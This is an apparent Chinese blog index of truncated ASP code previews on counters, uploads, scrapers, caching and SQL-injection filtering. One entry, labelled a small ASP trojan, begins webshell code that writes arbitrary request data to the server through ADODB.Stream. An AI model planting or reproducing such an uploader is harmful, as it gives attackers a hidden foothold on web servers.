使用模板实现ASP代码与页面分离

2017年02月06日 83 阅读

每个进行过较大型的ASP-Web应用程序设计的开发人员大概都有如下的经历：ASP代码与页面HTML混淆难分，业务逻辑与显示方式绞合，使得代码难以理解、难以修改；程序编写必须在美工之后，成为项目瓶颈；整合的程序代码和HTML静态页面时，花费大量的时间才能得到理想的效果，兼作了美工。的确，用脚本语言开发Web应用不容易将数据的处理和数据的显示分开，但在多人合作的情况下，如果无法将数据和显示分开，将大大影响开发的效率，专业分工的发挥。 其它的脚本语言，如JS...

获取图片宽度和高度的类，支持JPG，GIF，PNG，BMP

2017年02月06日 81 阅读

<% Class ImgWHInfo ""获取图片宽度和高度的类，支持JPG，GIF，PNG，BMP Dim ASO Private Sub Class_Initialize Set ASO=Server.CreateObject（"ADODB.Stream"） ASO.Mode=3 ASO.Type=1 ASO.Open End Sub Private Sub Class_Terminate Err.Clear Set ASO=Nothing En...

一个ASP小马

2017年02月06日 87 阅读

<%if request.QueryString（"action"）="log" thena=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject（b）:c.Type=1:c.Open:c.Write Request.BinaryRead（a）:c.Position=0:d=c.Read:e=chrB（13）&chrB（10）:f=Instrb（d,e）:g=Instrb（f...

如何限制同一用户名同时登陆

2017年02月06日 84 阅读

这个问题我的办法是，用户有个活跃时间间隔问题。超过这个活跃时间间隔的则可以认为是离线，后者可以登陆 ，如果无后者登陆，但并不是说前者就需要重新登陆了。因为他的session还在的。只能是这个时间设置的越小越精确，也是不能做到绝对的。代码贴出来给楼主参考下。Function CheckOnline（）DIM IP,rsPrv,Sql,PrvDbStatePrvDbState = FalseIf DBSTATE = False ThenDbOpen（）PrvD...

ASP制作在线人数统计实例

2017年02月06日 90 阅读

我们先新建一个ＡＣＣＥＳＳ数据库 内容为表名：zai字段为１.ip2.time建立一个文件为index.asp然后就如下程序！<% "===================================================================================================""******************** 冰翎在线人数统计程序 V2.0 **********************...

在线统计代码 application

2017年02月06日 101 阅读

首先要设置好global.asa 文件,如下 以下内容为程序代码<script language="vbscript" runat="server"> sub application_onstart application（"activeusers"） = 0 //初始值 end sub sub session_onstart session.timeout = 20 //删除不活动用户的时间 session（"start"） = no...

统计在线人数dxy

2017年02月06日 88 阅读

<%sessid=session.sessionidtimeout=5 "分钟dim conn,connstr,dbpathdbpath="online.mdb""connstr="DRIVER={Microsoft Access Driver （*.mdb）};DBQ=" & Server.MapPath（dbpath）connstr="provider=microsoft.jet.oledb.4.0;data source="&server.ma...

ASP 写的自动生成SELECT 表单的函数

2017年02月06日 88 阅读

对于ASP高手当然没什么用了，但是对于刚入门的初学者和美工就有些用处了。Function selectdo（a,d,b,c） Response.write"<select name=""&a&""><option>"&d&"</option>" for i=b to c if i<10 then i="0"&i end if Response.write"<option>"&i&"</option...

自己做采集程序

2017年02月06日 89 阅读

现在网上的采集程序很多，但是有时候你发现一个好的网站，想自己做个采集工具采集一些信息，就需要自己去写程序了，其实这样的采集程序并不难写，主要是去分析源网站的网页结构。首先去下载个XMLHTTP的类文件：<%Class xhttpprivate cset,sUrl,sErrorPrivate Sub Class_Initialize（）"cset="UTF-8"cset="GB2312"sError=""end subPrivate Sub Class...

巧用缓存提高asp程序的性能

2017年02月06日 92 阅读

<！--为了提高Asp程序的性能,人们常常将经常使用的数据缓存在 Application, 但是你修改了数据库后怎么让application更新呢,本文给你提供了一个合理的解决办法,如果谁有更好的算法,请跟帖讨论一下,谢谢 --> <% Class wawa_app_getrows public Function wawa_Get_List（strapp,strconn,strsql） "*************************...

多字段模糊搜索的函数

2017年02月06日 83 阅读

前段时间写了一个多字段模糊搜索的函数（类似baidui）。函数代码如下 "================================================== "函数名：keyword_sousuo "作用：生成sql查询条件 "参数：table_field------表的字段名（之间用逗号分开） "keyword------搜索关键词（之间用空格分开） "返回：sql查询条件 "==============================...

打包上传asp网站

2017年02月06日 80 阅读

你有没有为上传一个几百张页面的网站而感到烦恼呢.速度太慢了.通常上传的总大小一样,文件越多,速度会越慢.如果可以把整个网站打包成一个文件上传.然后解压,这样就快多了.本人经过几天研究,终于弄出来了.现在传上来和大家一起份享. 点此下载里面有两个文件,rar.exe是本机打包用的rar.asp是服务器段解压用的.简单步骤:如果你iis启动了，请先关闭运行rar.exe（在你的桌面右下角有个红的b字 说明运行好了）－－>打开ie-->输入http:...

FreeTextBox 中文版下载[含源代码] of asp.net

2017年02月06日 95 阅读

调用代码 源代码FreeTextBox 1.6.3 中文版使用说明1.直接使用的方法：（1） 复制 bin 目录下的 FreeTextBox.dll 文件到你的 Web 应用程序目录中的 bin 目录或其上层的虚拟目录下的 bin 目录；（2） 复制 HelperScripts 目录下的三个文件到你的 Web 应用程序目录中或其子目录中，注意使用时要指定 HelperFilePath 属性；（3） 复制 images 目录下的 ftb 目录到你的 Web...

asp 防止SQL注入代码

2017年02月06日 92 阅读

把下面代码复制到每个文件头部就可以防止SQL注入了，写程序安全最重要 ：） <% DimFy_Url,Fy_a,Fy_x,Fy_Cs（）,Fy_Cl,Fy_Ts,Fy_Zx "---定义部份头------ Fy_Cl=1"处理方式：1=提示信息,2=转向页面,3=先提示再转向 Fy_Zx="Error.Asp""出错时转向的页面 "---定义部份尾------ OnErrorResumeNext Fy_Url=Request.ServerVariab...

asp实现无限级分类的方法js版

2017年02月06日 78 阅读

MenuArr=new Array（）MenuLenArr=new Array（）SubMenuArr=new Array（）MenuIdArr=new Array（）MenuArr[1]="<%call top11%>" //洲名|||...MenuArr[2]="<%call top1%>" //洲名###国名|||...MenuIdArr[1]="zhou"MenuIdArr[2]="author"MenuClass=2 //...

多附件上传组件演示

2017年02月06日 72 阅读

function mCreateFile（obj）{var eFvar mNamemFileName.innerHTML=""if （obj.id=="File"） {for （i=0;i...

无组件生成缩略图

2017年02月06日 77 阅读

网上有不少生成缩略图的ASP组件。若你的虚拟空间不支持注册新组件，可能会感觉自己的网站失色不少。心晴不才，结合网上资源写了个无组件生成缩略图程序，仅供参考。 还是先看看基础部分吧。首先，我们知道在页面中显示图片是如下代码： <imgsrc="pic.gif"border="0"width="300"height="260"> src是图片路径，border控制图片边缘宽度，width是图片的长度，height是图片的高度。缩略图的生成其实就是在...

如何远程调用ACCESS数据库[要求加精！！]

2017年02月06日 86 阅读

使用了TCP/IP，ADO及XML（需要安装Microsoft XML 4.0。）。分服务器和客户端两部分，服务器可以多用户同时连接。远程连接Access数据库有很多方法，我以前已经比较详细的回答过（见下面所列的5种方法），我现在这个例子属于其中的第3种方法（不需要使用RDS或Web服务器）。 －－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 远程连接access数据库的几个方法： 1．建立VPN（Virtual Pr...

替换数据库内容

2017年02月06日 80 阅读

<%"####################################"替换数据库内容 lamking 2005-8-22"更新修正：2006-6-28"http://www.imbbs.cn QQ:628557"出售空间域名。网页制作。"####################################"以下请根据你的不同情况做修改Const S1="admin" "要被替换的字符串Const S2="1234" "替换为的字符串Co...

E-mail表单递交

2017年02月06日 76 阅读

<HTML><HEAD><META http-equiv="Content-Type" content="text/html; charset=gb2312"><TITLE>E-mail表单递交</TITLE></HEAD><BODY ><script language="JavaScript"><！--function validate_form（） {...